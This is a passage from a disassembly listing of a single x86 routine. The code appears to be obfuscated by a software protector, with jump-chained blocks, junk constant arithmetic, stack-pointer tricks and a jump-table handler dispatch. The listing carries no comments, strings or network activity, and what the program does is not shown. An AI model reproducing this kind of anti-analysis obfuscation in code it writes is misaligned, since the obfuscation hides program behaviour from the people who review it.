; ---------------------------------------------------------------------------


loc_5A40F3:				; CODE XREF: sub_58A891+153EBj
					; sub_58A891+257D7j
		mov	edx, [esp+1Ah+var_1C+2]
		add	esp, 4
		dec	ebp
		jmp	loc_5AE313
; ---------------------------------------------------------------------------


loc_5A40FF:				; CODE XREF: sub_58A891+20092j
		add	esp, 4
		push	6111h
		mov	[esp+16h+var_18+2], esi
		jmp	loc_59FB20
; ---------------------------------------------------------------------------


loc_5A4112:				; CODE XREF: sub_58A891+1E8F7j
		add	esp, 4
		xor	ecx, eax
		pop	eax
		jmp	loc_5ABC8D
; ---------------------------------------------------------------------------


loc_5A411D:				; CODE XREF: sub_58A891+1923Bj
		push	60C2h
		mov	[esp+0AEh+var_AE], edi
		push	edx
		jmp	loc_5A52A3
; ---------------------------------------------------------------------------


loc_5A412B:				; CODE XREF: sub_58A891+1E34Cj
		add	esp, 4
		jmp	loc_5A23BB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AEh+var_AE]
		push	esi
		jmp	loc_5A62FB
; ---------------------------------------------------------------------------


loc_5A413D:				; CODE XREF: sub_58A891+16472j
		mov	dh, al
		mov	bl, dh
		pop	edx
		pop	eax
		jmp	loc_5A1CAD
; ---------------------------------------------------------------------------


loc_5A4148:				; CODE XREF: sub_58A891+274C2j
		pop	esp
		jmp	loc_5A0377
; ---------------------------------------------------------------------------


loc_5A414E:				; CODE XREF: sub_58A891+17E77j
		xor	[esp+0A8h+var_AA+2], edi
		xor	edi, [esp+0A8h+var_AA+2]
		mov	esp, [esp+0A8h+var_AA+2]
		mov	ax, word ptr [esp+0A8h+var_AA+2]
		jmp	loc_59FBF9
; ---------------------------------------------------------------------------
		push	[esp+0A8h+var_AA+2]
		push	[esp+0ACh+var_AE+2]
		jmp	loc_5A0775
; ---------------------------------------------------------------------------


loc_5A416B:				; CODE XREF: sub_58A891+17B3Ej
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5A48
; ---------------------------------------------------------------------------


loc_5A4178:				; CODE XREF: sub_58A891+16E30j
		sub	ebp, 0B7FDFEBAh
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], ebp
		pop	ebx
		mov	ebp, [esp+0A4h+var_A6+2]
		jmp	loc_5ACC49
; ---------------------------------------------------------------------------


loc_5A418D:				; CODE XREF: sub_58A891+12DABj
		not	eax
		jmp	loc_59EC85
; ---------------------------------------------------------------------------


loc_5A4194:				; CODE XREF: sub_58A891+12E17j
					; sub_58A891+1BA7Bj
		xchg	esi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], esi
		push	esp
		pop	esi
		push	7874h
		mov	[esp+2Eh+var_30+2], edx
		mov	edx, 7D8A6C46h
		neg	edx
		add	edx, 1
		push	esi
		mov	esi, 827593BFh
		xor	edx, esi
		jmp	loc_5B0B63
; ---------------------------------------------------------------------------


loc_5A41BE:				; CODE XREF: sub_58A891+21B84j
		pop	ebx
		push	esi
		mov	esi, 64564339h
		sub	esi, 64564335h
		add	ebx, esi
		pop	esi
		push	esi
		push	1CB2h
		mov	[esp+36h+var_38+2], ebx
		mov	ebx, 3C32AAEh
		jmp	loc_5AA5BA
; ---------------------------------------------------------------------------


loc_5A41E1:				; CODE XREF: sub_58A891+23F21j
		xor	eax, 1214F217h
		mov	edi, eax
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_5ABC29
; ---------------------------------------------------------------------------


loc_5A41F0:				; CODE XREF: sub_58A891+18B39j
		push	ebx
		mov	ebx, 0BBAFC108h
		sub	eax, ebx
		pop	ebx
		sub	ebx, 527276CDh
		add	ebx, 678A0098h
		add	ebx, eax
		sub	ebx, 678A0098h
		add	ebx, 527276CDh
		pop	eax
		push	[esp+12h+var_14+2]
		jmp	loc_5B0138
; ---------------------------------------------------------------------------


loc_5A421C:				; CODE XREF: sub_58A891+1D03Dj
		sub	eax, 4D65440Fh
		sub	eax, 0D692FC6h
		sub	eax, ebx
		add	eax, 0D692FC6h
		add	eax, 4D65440Fh
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_5AE184
; ---------------------------------------------------------------------------


loc_5A423A:				; CODE XREF: sub_58A891+1FEBBj
		xor	[esp+16h+var_18+2], edx
		xor	edx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		push	3FACh
		mov	[esp+1Ah+var_1C+2], eax
		mov	eax, 4
		jmp	loc_5B15B1
; ---------------------------------------------------------------------------


loc_5A4255:				; CODE XREF: sub_58A891+19706j
		mov	edx, [esp+46h+var_48+2]
		add	esp, 4
		jmp	loc_5A6373
; ---------------------------------------------------------------------------


loc_5A4263:				; CODE XREF: sub_58A891+26119j
		push	ebx
		pop	edi
		jmp	loc_5A2A3D
; ---------------------------------------------------------------------------


loc_5A426A:				; CODE XREF: sub_58A891+1FBB4j
		mov	dh, bl
		pop	ebx
		push	eax
		push	ebx
		mov	bl, 26h
		and	bl, 13h
		push	eax
		mov	al, 0E6h
		add	al, 0C8h
		xor	bl, al
		pop	eax
		mov	ah, bl
		mov	ebx, [esp+46h+var_48+2]
		jmp	loc_5AEA7E
; ---------------------------------------------------------------------------


loc_5A4286:				; CODE XREF: sub_58A891+1D373j
		jbe	loc_5A36B9
		sub	eax, 12E699BEh
		jmp	loc_5A818D
; ---------------------------------------------------------------------------
		mov	eax, [esp+46h+var_48+2]
		push	edx


loc_5A429A:				; CODE XREF: sub_58A891+1F34Fj
		pop	edx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		jmp	locret_5A134E
; ---------------------------------------------------------------------------


loc_5A42A7:				; CODE XREF: sub_58A891+18F19j
		pop	[esp+0A0h+var_A2+2]
		pop	esp
		jmp	loc_5A3094
; ---------------------------------------------------------------------------


loc_5A42B0:				; CODE XREF: sub_58A891+17AAAj
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_5A42B5:				; CODE XREF: sub_58A891+18086j
		dec	edi
		push	7B81h
		mov	[esp+56h+var_58+2], esi
		jmp	loc_5A2CE7
; ---------------------------------------------------------------------------


loc_5A42C3:				; CODE XREF: sub_58A891+150A5j
					; sub_58A891+150BBj
		pop	edi
		push	1FA6h
		mov	[esp+56h+var_58+2], ecx
		mov	ecx, 2
		push	ecx
		mov	ecx, 4B33042Ch
		sub	ebp, 10D86609h
		jmp	loc_5B26C2
; ---------------------------------------------------------------------------


loc_5A42E2:				; CODE XREF: sub_58A891+2039Bj
		push	ax
		jmp	loc_59DB7C
; ---------------------------------------------------------------------------


loc_5A42E9:				; CODE XREF: sub_58A891+1FB06j
					; sub_58A891+28083j
		mov	fs:[edx], al
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A42F1:				; CODE XREF: sub_58A891+161B9j
		xor	ecx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ecx
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------


loc_5A42FC:				; CODE XREF: sub_58A891+276B7j
		pop	ebx
		pop	[esp+1Ah+var_1C+2]
		pop	esp
		mov	ecx, [esp+12h+var_14+2]
		jmp	loc_5A73B7
; ---------------------------------------------------------------------------


loc_5A4309:				; CODE XREF: sub_58A891+17D0Bj
					; sub_58A891:loc_5A4D7Aj
		xor	ecx, 5E7822B9h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A648B
; ---------------------------------------------------------------------------


loc_5A4317:				; CODE XREF: sub_58A891+1935Cj
		add	esp, 4
		sub	edx, 3CBB09A4h
		add	edx, edi
		push	edi
		mov	edi, 3CBB09A4h
		jmp	loc_5A7356
; ---------------------------------------------------------------------------


loc_5A4330:				; CODE XREF: sub_58A891+153D6j
					; sub_58A891+2130Dj
		add	eax, ebx
		push	ecx
		mov	ecx, 3571EABh
		jmp	loc_5A2E20
; ---------------------------------------------------------------------------


loc_5A433D:				; CODE XREF: sub_58A891+15AC2j
					; sub_58A891+263C6j
		push	edx
		push	1B4B619Ah
		jmp	loc_5AF321
; ---------------------------------------------------------------------------


loc_5A4348:				; CODE XREF: sub_58A891+1C885j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_5A0A77
; ---------------------------------------------------------------------------


loc_5A4355:				; CODE XREF: sub_58A891+1C321j
		push	esi
		mov	esi, 5A104720h
		add	ebx, esi
		pop	esi
		jmp	loc_5A5051
; ---------------------------------------------------------------------------


loc_5A4363:				; CODE XREF: sub_58A891+206EDj
		pop	esp
		add	esp, 4
		xchg	ebx, [esp+0B8h+var_BA+2]
		mov	esp, [esp+0B8h+var_BA+2]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_59FFBC
; ---------------------------------------------------------------------------


loc_5A4379:				; CODE XREF: sub_58A891+1EB9Fj
		mov	ebx, 31D01F19h
		add	ebp, ebx
		pop	ebx
		shr	ebp, 5
		or	ebp, 7539660Eh
		add	ebp, 9BB22A3Ch
		add	ebx, ebp
		pop	ebp
		sub	ebx, 1B0E36B9h
		add	ebx, eax
		add	ebx, 1B0E36B9h
		push	esi
		mov	esi, 5896673Ah
		dec	esi
		xor	esi, 77100C93h
		jmp	loc_5A9F8B
; ---------------------------------------------------------------------------


loc_5A43B3:				; CODE XREF: sub_58A891+1BECDj
		push	edi
		push	0C1B1D12h
		pop	edi
		push	eax
		push	edi
		push	edx
		jmp	loc_5A4DEB
; ---------------------------------------------------------------------------


loc_5A43C2:				; CODE XREF: sub_58A891+1F4C4j
		mov	ebx, 75642C6Eh
		add	ebx, 7F2C7C35h
		jl	loc_5A7758
		and	ebx, 670C41EAh
		inc	ebx
		jmp	loc_59CB13
; ---------------------------------------------------------------------------


loc_5A43DF:				; CODE XREF: sub_58A891+1F193j
		push	esi
		jmp	loc_5AD62B
; ---------------------------------------------------------------------------


loc_5A43E5:				; CODE XREF: sub_58A891+2740Dj
		shl	bl, 5
		jmp	loc_5A8BA3
; ---------------------------------------------------------------------------


loc_5A43ED:				; CODE XREF: sub_58A891+15662j
		add	esp, 4
		push	28B8h
		mov	[esp+0A0h+var_A2+2], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0A4h+var_A6+2]
		pop	esp
		mov	[esp+0A0h+var_A2+2], eax
		push	edi
		push	5133B4F3h
		pop	edi
		push	4897h
		jmp	loc_59D83A
; ---------------------------------------------------------------------------


loc_5A4422:				; CODE XREF: sub_58A891+20243j
		mov	ecx, ebx
		mov	ebx, [esp+0A8h+var_AA+2]
		add	esp, 4
		jmp	loc_59BFBE
; ---------------------------------------------------------------------------


loc_5A442F:				; CODE XREF: sub_58A891+2491Ej
		mov	[esp+0A4h+var_A6+2], edx
		jmp	loc_5AF493
; ---------------------------------------------------------------------------


loc_5A4437:				; CODE XREF: sub_58A891+279B4j
		push	2084h
		mov	[esp+0A8h+var_AA+2], edi
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], esp
		add	[esp+0ACh+var_AE+2], 4
		pop	edi
		jmp	loc_5A9636
; ---------------------------------------------------------------------------


loc_5A4455:				; CODE XREF: sub_58A891+1B7F6j
		push	[esp+0A8h+var_AA+2]
		pop	edi
		add	esp, 4
		jmp	loc_5A61CA
; ---------------------------------------------------------------------------


loc_5A4464:				; CODE XREF: sub_58A891+131EAj
		push	ebx
		mov	ebx, 36082E2Fh
		shl	ebx, 1
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 3B376BC4h
		shr	ebx, 6
		jmp	loc_59CF6E
; ---------------------------------------------------------------------------


loc_5A447D:				; CODE XREF: sub_58A891+15AB3j
					; sub_58A891+17F69j
		pop	edx
		sub	ebx, eax
		jmp	loc_5AC3E3
; ---------------------------------------------------------------------------


loc_5A4485:				; CODE XREF: sub_58A891+138E1j
		mov	ebx, 15D173A7h
		xor	ebx, 65D75CC3h
		push	esi
		mov	esi, 0A9514F87h
		add	ebx, esi
		pop	esi
		jmp	loc_5A080A
; ---------------------------------------------------------------------------


loc_5A449E:				; CODE XREF: sub_58A891+21A27j
		sub	al, 9Eh
		pop	ebx
		sub	al, 0C5h
		sub	al, bh
		jmp	loc_5A8799
; ---------------------------------------------------------------------------


loc_5A44AA:				; CODE XREF: sub_58A891:loc_59DC1Aj
		jmp	loc_5AFB0F
; ---------------------------------------------------------------------------


loc_5A44AF:				; CODE XREF: sub_58A891+16645j
		add	ebx, eax
		jmp	loc_5AD43B
; ---------------------------------------------------------------------------


loc_5A44B6:				; CODE XREF: sub_58A891+22717j
		push	eax
		mov	eax, 340D45D9h
		add	edi, eax
		pop	eax
		add	edi, ecx
		push	ebx
		push	ebp
		mov	ebp, 2D406E85h
		mov	ebx, 0E2706CDh
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 13120044h
		not	eax
		sub	eax, 1
		add	eax, 4AB23449h
		jmp	loc_5AB128
; ---------------------------------------------------------------------------


loc_5A44E5:				; CODE XREF: sub_58A891+254A7j
		mov	ecx, edx
		pop	edx
		jmp	loc_5A01ED
; ---------------------------------------------------------------------------


loc_5A44ED:				; CODE XREF: sub_58A891+1E8CCj
		mov	edx, [esp+32h+var_34+2]
		add	esp, 4
		push	[esp+2Eh+var_30+2]
		pop	esi
		add	esp, 4
		push	44C5h
		jmp	loc_59E9EA
; ---------------------------------------------------------------------------


loc_5A4507:				; CODE XREF: sub_58A891+1D42Ej
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+34h+var_30]
		mov	eax, [esp+38h+var_38]
		push	2C50h
		mov	[esp+3Ch+var_3C], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+40h+var_40], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_5AE5AE
; ---------------------------------------------------------------------------


loc_5A454A:				; CODE XREF: sub_58A891+1B6CAj
		jmp	loc_5B0937
; ---------------------------------------------------------------------------


loc_5A454F:				; CODE XREF: sub_58A891:loc_5A2ACBj
		neg	ebp
		jns	loc_5B101F
		jmp	loc_5ABC34
; ---------------------------------------------------------------------------


loc_5A455C:				; CODE XREF: sub_58A891+27EAFj
		inc	esi
		xor	esi, 4EAB785Dh
		or	esi, 49160490h
		push	edx
		mov	edx, 55A4E452h
		sub	esi, 32A11C6Fh
		jmp	loc_5A9195
; ---------------------------------------------------------------------------


loc_5A457A:				; CODE XREF: sub_58A891+25718j
		pop	ecx
		add	bh, ch
		add	bh, 86h
		push	37A2h
		jmp	loc_5A56BA
; ---------------------------------------------------------------------------


loc_5A458A:				; CODE XREF: sub_58A891+23F5Cj
		xor	edx, 4E8D4755h
		push	[esp+0B6h+var_B6]
		pop	esi
		add	esp, 4
		sub	[edi+24h], edx
		jmp	loc_59D5C8
; ---------------------------------------------------------------------------


loc_5A45A2:				; CODE XREF: sub_58A891+16935j
		add	ebp, 1093D502h
		xor	ebx, ebp
		jmp	loc_5B0924
; ---------------------------------------------------------------------------


loc_5A45AF:				; CODE XREF: sub_58A891+17E0Dj
		mov	[esp+0B0h+var_B2+2], esi
		mov	esi, 4
		add	edx, 735E3AA2h
		jmp	loc_5A9DE8
; ---------------------------------------------------------------------------


loc_5A45C2:				; CODE XREF: sub_58A891+25F13j
		mov	[esp+0B0h+var_B2+2], ebp
		mov	ebp, 731F09F0h
		add	esi, 1248498Bh
		sub	esi, ebp
		sub	esi, 1248498Bh
		jmp	loc_5B0F88
; ---------------------------------------------------------------------------


loc_5A45DD:				; CODE XREF: sub_58A891+164C4j
		pop	edi
		mov	eax, esi
		pop	esi
		push	esi
		jmp	loc_59F5FE
; ---------------------------------------------------------------------------


loc_5A45E7:				; CODE XREF: sub_58A891+234CBj
		sub	[esp+0A4h+var_A2+2], ebx
		pop	ebx
		jmp	loc_59EE62
; ---------------------------------------------------------------------------


loc_5A45F1:				; CODE XREF: sub_58A891+139DEj
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A45F7:				; CODE XREF: sub_58A891:loc_5A9FD1j
		add	ecx, 3020C204h
		add	edi, ecx
		push	[esp+42h+var_44+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------


loc_5A460B:				; CODE XREF: sub_58A891+16D53j
		add	al, 52h
		sub	al, bh
		sub	al, 52h
		add	al, 43h
		mov	ebx, [esp+56h+var_58+2]
		sub	esp, 4
		jmp	loc_5AC905
; ---------------------------------------------------------------------------


loc_5A461E:				; CODE XREF: sub_58A891+14331j
		mov	esp, [esp+6+var_8+2]
		push	edx
		push	esp
		jmp	loc_5ACAFC
; ---------------------------------------------------------------------------


loc_5A4628:				; CODE XREF: sub_58A891+1A1C7j
					; sub_58A891+256C8j
		add	esi, 0FF70ED7Ah
		add	ebp, esi
		pop	esi
		pop	ebx
		push	eax
		mov	eax, 0B0261054h
		xor	ebp, eax
		pop	eax
		jmp	loc_5AB621
; ---------------------------------------------------------------------------


loc_5A4640:				; CODE XREF: sub_58A891+1C7BAj
		add	eax, 254024E9h
		jmp	loc_59CA6E
; ---------------------------------------------------------------------------


loc_5A464A:				; CODE XREF: sub_58A891+2852Bj
		sub	edx, 0C622260h
		jo	loc_5A05E9
		add	edx, 0F000667h
		push	edi
		jmp	loc_5A1495
; ---------------------------------------------------------------------------


loc_5A4662:				; CODE XREF: sub_58A891+1C6A2j
		pop	ecx
		mov	edi, 79CC59EBh
		jmp	loc_5A011A
; ---------------------------------------------------------------------------


loc_5A466D:				; CODE XREF: sub_58A891+14940j
		xor	eax, [esp+0E2h+var_E2]
		pop	esp
		mov	[esp+0DEh+var_DE], edi
		jmp	loc_5AF085
; ---------------------------------------------------------------------------


loc_5A4679:				; CODE XREF: sub_58A891+222E2j
		pop	edx
		mov	edx, esi
		pop	esi
		add	[esp+0D6h+var_CE], edx
		jmp	loc_5A9150
; ---------------------------------------------------------------------------


loc_5A4686:				; CODE XREF: sub_58A891+1AB38j
					; sub_58A891+26A55j
		mov	edx, [esp+0D6h+var_D6]
		jmp	loc_5AC2EC
; ---------------------------------------------------------------------------


loc_5A468E:				; CODE XREF: sub_58A891+1EF52j
		mov	ecx, 4
		jmp	loc_5A9F1A
; ---------------------------------------------------------------------------


loc_5A4698:				; CODE XREF: sub_58A891:loc_5AD639j
		shr	ecx, 5
		jnp	loc_5AC852
		jmp	loc_5A0241
; ---------------------------------------------------------------------------


loc_5A46A6:				; CODE XREF: sub_58A891+1D1CCj
		push	esi
		push	edx
		jmp	loc_5B2DB4
; ---------------------------------------------------------------------------


loc_5A46AD:				; CODE XREF: sub_58A891+27B1Aj
		push	small word ptr [esp+0DEh+var_DE+2]
		jmp	loc_59E8CD
; ---------------------------------------------------------------------------


loc_5A46B7:				; CODE XREF: sub_58A891+129B7j
		add	ecx, 4
		xor	ecx, [esp+9Eh+var_9E]
		xor	[esp+9Eh+var_9E], ecx
		xor	ecx, [esp+9Eh+var_9E]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 63144FC5h
		add	edx, 3ECD671Ah
		sub	edx, ebp
		push	3EE9h
		mov	[esp+9Eh+var_9E], ebp
		mov	ebp, 75013E7Ah
		jmp	loc_5A34B4
; ---------------------------------------------------------------------------


loc_5A46EA:				; CODE XREF: sub_58A891+14A86j
		or	ebp, 7C49172Bh
		jmp	loc_59D7CC
; ---------------------------------------------------------------------------


loc_5A46F5:				; CODE XREF: sub_58A891+20B48j
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+0FAh+var_FC+2], edx
		mov	edx, 4
		add	ecx, 5C9A769Ch
		sub	ecx, edx
		sub	ecx, 5C9A769Ch
		pop	edx
		xchg	ecx, [esp+0F6h+var_F8+2]
		pop	esp
		mov	[esp+0F2h+var_F4+2], ecx
		push	6058h
		mov	[esp+0F6h+var_F8+2], ebx
		jmp	loc_5A6FCB
; ---------------------------------------------------------------------------


loc_5A472D:				; CODE XREF: sub_58A891+27A90j
		mov	ebp, edx
		push	[esp+0F6h+var_F8+2]
		mov	edx, [esp+0FAh+var_FC+2]
		add	esp, 4
		add	esp, 4
		add	esi, ebp
		pop	ebp
		xor	eax, esi
		push	[esp+0EEh+var_F0+2]
		pop	esi
		sub	esp, 4
		mov	[esp+0F2h+var_F4+2], ebx
		jmp	loc_59E98C
; ---------------------------------------------------------------------------


loc_5A4752:				; CODE XREF: sub_58A891+2555Fj
		add	ebx, esi
		mov	esi, [esp+0F2h+var_F4+2]
		add	esp, 4
		push	edi
		mov	edi, 514659E5h
		shl	edi, 6
		xor	edi, 72910023h
		sub	edi, 38A066E9h
		add	edi, 90153E7Fh
		add	ebx, edi
		pop	edi
		pop	edx
		sub	ebx, eax
		add	ebx, 0B937568h
		jmp	loc_5B0B71
; ---------------------------------------------------------------------------


loc_5A4789:				; CODE XREF: sub_58A891+1FD38j
		add	ebx, 0FF801125h
		push	edx
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		pop	ebx
		sub	ebx, 6DB02314h
		add	ebx, esi
		add	ebx, 6DB02314h
		pop	esi
		xchg	ebx, [esp+0E2h+var_E2]
		pop	esp
		sub	[edi+24h], ebx
		push	[esp+0DEh+var_DE]
		pop	ebx
		sub	esp, 4
		mov	[esp+0E2h+var_E2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 199035F4h
		xor	ecx, 199035F0h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+0E2h+var_E2]
		pop	esp


loc_5A47D4:				; CODE XREF: sub_58A891+16332j
		push	ebx
		push	ecx
		mov	ecx, 65282896h
		jmp	loc_5AAFBA
; ---------------------------------------------------------------------------


loc_5A47E0:				; CODE XREF: sub_58A891+1C4E0j
		sub	ecx, 794C647Dh
		add	ecx, 0F1D7C4Ch
		add	ecx, ebx
		push	edx
		mov	edx, 3EFC0EEDh
		xor	edx, 282B15FAh
		jmp	loc_5AD125
; ---------------------------------------------------------------------------


loc_5A47FF:				; CODE XREF: sub_58A891+1AFE7j
		xor	ebp, [esp+0EAh+var_EC+2]
		xor	[esp+0EAh+var_EC+2], ebp
		xor	ebp, [esp+0EAh+var_EC+2]
		mov	esp, [esp+0EAh+var_EC+2]
		jmp	loc_5ACB26
; ---------------------------------------------------------------------------


loc_5A4810:				; CODE XREF: sub_58A891+24E6Aj
		neg	esi
		shr	esi, 6
		sub	esi, 45E639C7h
		xor	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		sub	eax, edi
		mov	edi, [esp+0E2h+var_E2]
		add	esp, 4
		push	eax
		push	[esp+0E2h+var_DE]
		mov	eax, [esp+0E6h+var_E8+2]
		add	esp, 4
		pop	[esp+0E2h+var_E2]
		mov	esp, [esp+0DEh+var_DE]
		mov	[esp+0DEh+var_DE], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4845:				; CODE XREF: sub_58A891+20EC5j
		sub	edi, ecx
		pop	ecx
		sub	edi, 77674666h
		add	edi, esi
		add	edi, 77674666h
		push	ebx
		push	28457DAAh
		jmp	loc_59F018
; ---------------------------------------------------------------------------


loc_5A4861:				; CODE XREF: sub_58A891+1AEDCj
					; sub_58A891+1CDC5j ...
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4866:				; CODE XREF: sub_58A891+186A6j
					; sub_58A891+21E67j
		push	ebp
		mov	ebp, 0A30EB896h
		jmp	loc_59CE6D
; ---------------------------------------------------------------------------


loc_5A4871:				; CODE XREF: sub_58A891+171A2j
		add	eax, edi
		sub	eax, 39957C4Dh
		mov	edi, [esp+102h+var_104+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+106h+var_108+2]
		pop	esp
		push	2EA1h
		mov	[esp+106h+var_108+2], edx
		sub	esp, 4
		mov	[esp+10Ah+var_10C+2], eax
		mov	eax, 18F07A5h
		shr	eax, 6
		jp	loc_59C1CE
		jmp	loc_5A7031
; ---------------------------------------------------------------------------
		shl	eax, 2
		mov	bh, 0AFh


loc_5A48B5:				; CODE XREF: sub_58A891+12B40j
		push	ebp
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_59CFBF
; ---------------------------------------------------------------------------


loc_5A48C4:				; CODE XREF: sub_58A891+13F43j
					; sub_58A891+194F5j
		push	ecx
		mov	ch, 84h
		shl	ch, 1
		jmp	loc_5A5441
; ---------------------------------------------------------------------------


loc_5A48CE:				; CODE XREF: sub_58A891+1F268j
		sub	ecx, 7E351994h
		add	ecx, edx
		jmp	loc_5A5812
; ---------------------------------------------------------------------------


loc_5A48DB:				; CODE XREF: sub_58A891+139D3j
		add	edi, eax
		pop	eax
		add	edi, 2
		jmp	loc_5A81E7
; ---------------------------------------------------------------------------


loc_5A48E9:				; CODE XREF: sub_58A891+1A34Bj
		or	ebp, 9B07C6Ah
		not	ebp
		add	ebp, 2BBF7D70h
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_5A48FC:				; CODE XREF: sub_58A891+1A864j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+3Eh+var_40+2]
		pop	esp
		xor	esi, 7FFF5A3Ch
		push	eax
		mov	eax, 0F11D7D1Dh
		xor	esi, eax
		pop	eax
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		push	69CAh
		mov	[esp+3Ah+var_3C+2], ecx
		mov	ecx, 2Ch
		push	edi
		push	eax
		push	0EC51709h
		jmp	loc_5AD6BD
; ---------------------------------------------------------------------------


loc_5A4935:				; CODE XREF: sub_58A891+23C1Bj
		jmp	loc_5A83F2
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+46h+var_48+2]
		push	edi
		jmp	loc_5ABDD2
; ---------------------------------------------------------------------------


loc_5A4944:				; CODE XREF: sub_58A891+221B6j
		xor	eax, 5BB0942h
		add	ecx, eax
		pop	eax
		xor	ecx, 23F08A83h
		sub	edi, 43B00BFDh
		add	edi, ecx
		add	edi, 43B00BFDh
		jmp	loc_59C6DD
; ---------------------------------------------------------------------------


loc_5A4965:				; CODE XREF: sub_58A891+16901j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A496A:				; CODE XREF: sub_58A891+1B7EAj
		mov	edi, 3589080Dh
		xor	eax, edi
		mov	edi, [esp+5Ch+var_5C]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 18E85A2Eh
		shr	edx, 1
		add	edx, 22284E78h
		push	edx
		not	[esp+68h+var_68]
		jmp	loc_5AA5DE
; ---------------------------------------------------------------------------


loc_5A498E:				; CODE XREF: sub_58A891+1BA83j
		jns	loc_5B1262
		dec	ch
		jmp	loc_59FB40
; ---------------------------------------------------------------------------
		mov	ch, 90h
		pop	ecx


loc_5A499E:				; CODE XREF: sub_58A891:loc_5AEEC5j
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_5A49A3:				; CODE XREF: sub_58A891+13FBFj
		add	ebx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_5A656F
; ---------------------------------------------------------------------------


loc_5A49AD:				; CODE XREF: sub_58A891+1A435j
		push	edi
		push	esi
		sub	esp, 4
		jmp	loc_5ABF40
; ---------------------------------------------------------------------------


loc_5A49BA:				; CODE XREF: sub_58A891+15730j
		add	esi, edx
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	ebx
		mov	ebx, 479907ACh
		sub	ebx, 19AD1F13h
		jns	loc_5B183D
		dec	ebx
		jmp	loc_5AFC2C
; ---------------------------------------------------------------------------
		mov	[esp+5Ah+var_5C+2], ecx
		push	esi
		push	6CD41C71h
		mov	ax, word ptr [esp+62h+var_64+2]
		push	3235h
		mov	[esp+66h+var_68+2], eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_5A813A
; ---------------------------------------------------------------------------


loc_5A49FA:				; CODE XREF: sub_58A891+26346j
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], esp
		add	[esp+6Eh+var_70+2], 4
		jmp	loc_59F203
; ---------------------------------------------------------------------------


loc_5A4A0C:				; CODE XREF: sub_58A891+197B1j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0E6h+var_E2]
		pop	eax
		jmp	loc_5A964D
; ---------------------------------------------------------------------------


loc_5A4A24:				; CODE XREF: sub_58A891+14C1Bj
					; sub_58A891+1ADB3j
		push	edx
		mov	edx, 2E723619h
		add	[esp+0AEh+var_AA], 415C32AAh
		sub	[esp+0AEh+var_AA], edx
		sub	[esp+0AEh+var_AA], 415C32AAh
		pop	edx
		push	edx
		mov	edx, 76AA5E08h
		push	408Ch
		mov	[esp+0B2h+var_B2], eax
		jmp	loc_5B24ED
; ---------------------------------------------------------------------------


loc_5A4A52:				; CODE XREF: sub_58A891+11FD1j
		push	esi
		mov	esi, 45B964BDh
		jmp	loc_5A4628
; ---------------------------------------------------------------------------


loc_5A4A5D:				; CODE XREF: sub_58A891+142BDj
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 7E6628C9h
		neg	ecx
		shr	ecx, 1
		neg	ecx
		sub	ecx, 536B0F70h
		jmp	loc_5A7EFD
; ---------------------------------------------------------------------------


loc_5A4A7E:				; CODE XREF: sub_58A891+22221j
		mov	ecx, edi
		pop	edi
		mov	edx, [esp+0A6h+var_A6]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp+0A2h+var_A2]
		add	esp, 4
		jmp	loc_5AD60C
; ---------------------------------------------------------------------------


loc_5A4A97:				; CODE XREF: sub_58A891+184BBj
					; sub_58A891+1E3EEj
		xchg	ebx, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], eax
